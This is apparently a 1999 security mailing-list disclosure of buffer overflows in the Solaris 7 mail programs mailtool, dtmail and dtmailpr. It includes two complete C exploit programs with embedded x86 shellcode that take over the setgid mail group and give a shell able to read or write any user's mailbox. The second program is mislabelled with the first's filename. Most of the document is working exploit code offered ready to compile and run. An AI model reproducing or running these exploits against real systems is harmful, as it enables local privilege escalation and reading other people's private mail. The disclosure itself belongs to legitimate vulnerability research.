Hi !

There are information of new holes (maybe...) and exploit codes for
Solaris7 :)
Local user can read/write any user's mail files.

--------------

The mailer programs (mailtool and dtmail) and mail message print filter
(dtmailpr) which are installed on Solaris7 have exploitable buffer
overflow bug. These programs are sgid (mail group) programs, local user
can obtain mail group. The mail files are generated with 660 permission,
so any user can read/write other user's mail files.

1) mailtool
There are usually used on the OpenWindow environment. There is a problem
on the handling of "Content-Type:". 
For example,

Content-Type: image/aaaaaaaa long 'a' aaaaaa; name="test.gif" 

The mailtool overflows if you choose an e-mail which contains such "Content-Type".

2) dtmail
There are usually used on the CDE. If the long string is specified with
"-f" option, dtmail overflows. This overflow is exploitable very easy.
You can confirm EIP=0x41414141 when you specify long "a".

3) dtmailpr
dtmailpr is mail message print filter program. This program overflows
"-f" option, too. You can also confirm EIP=0x41414141 with long "a".


I coded the exploits to get mail gid(egid=6). There are for Intel
Solaris7. There are same kind of problems on Sparc Solaris7 and
Solaris2.6 (Intel,Sparc)



ex_mailtool.c
-----
/*=============================================================================
   Solaris mailtool exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN  (shadowpenguin@backsection.net)
   Descripton:
     Local user can read/write any user's mailbox
   Usage:
     setenv DISPLAY yourdisply
     gcc ex_mailtool.c
     ./a.out /var/mail/[any user]
     - Choice "exploit@localhost" mail
  =============================================================================
*/

#include <stdio.h>

#define FAKEADR 96
#define FAKEOFS 0x1000
#define RETADR  84
#define RETOFS  0x1224
#define EXPADR  300
#define NOP     0x90
#define MAXBUF  2000
#define DIR     "/usr/openwin/bin"

#define HEAD \
"From exploit@localhost Fri Nov 26 00:01 JST 1999\n"\
"Content-Type: multipart/mixed; "\
"boundary=\"VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\"\n"\
"Content-Length: 340\n\n"\
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\n"\
"Content-Type: image/%s; name=\"test.gif\"\n"\
"Content-Disposition: attachment;\n"\
" filename=\"test.gif\"\n"\
"Content-Transfer-Encoding: base64\n\n"\
"IA==\n\n"\
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--\n\n"

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff/tmp/xx";

main(int argc, char *argv[])
{
    static char     buf[MAXBUF];
    FILE        *fp;
    unsigned int    i,ip,sp;

    if (argc!=2){
        printf("usage : %s mailbox\n",argv[0]);
        exit(1);
    }
    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp  = 0x%x\n",sp);
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=sp-FAKEOFS;
    printf("fake = 0x%x\n",ip);
    buf[FAKEADR  ]=ip&0xff;
    buf[FAKEADR+1]=(ip>>8)&0xff;
    buf[FAKEADR+2]=(ip>>16)&0xff;
    buf[FAKEADR+3]=(ip>>24)&0xff;
    ip=sp-RETOFS;
    printf("eip  = 0x%x\n",ip);
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));

    if ((fp=fopen(argv[1],"ab"))==NULL){
        printf("Can not write '%s'\n",argv[1]);
        exit(1);
    }
    fprintf(fp,HEAD,buf);
    fclose(fp);
    printf("Exploit mail has been added.\n");
    printf("Choice \"exploit@localhost\" mail.\n");
    sprintf(buf,"cd %s; mailtool",DIR);
    system(buf);
}


ex_mailtool.c
-----
/*=============================================================================
   Solaris dtmailpr exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN  (shadowpenguin@backsection.net)
   Descripton:
     Local user can read/write any user's mailbox
  =============================================================================
*/

#include <stdio.h>

#define RETADR  1266
#define RETOFS  0x1d88
#define EXPADR  300
#define NOP 0x90
#define MAXBUF  2000

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff/tmp/xx";

main()
{
    static char     buf[MAXBUF+1000];
    FILE        *fp;
    unsigned int    i,ip,sp;

    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp  = 0x%x\n",sp);
    memset(buf,NOP,MAXBUF);
    ip=sp-RETOFS;
    printf("eip  = 0x%x\n",ip);
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));
    buf[MAXBUF-1]=0;
    execl("/usr/dt/bin/dtmailpr","dtmailpr","-f",buf,0);
}

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
   shadowpenguin@backsection.net (webmaster)
% eEye Digital Security Team [ http://www.eEye.com ]
   unyun@eEye.com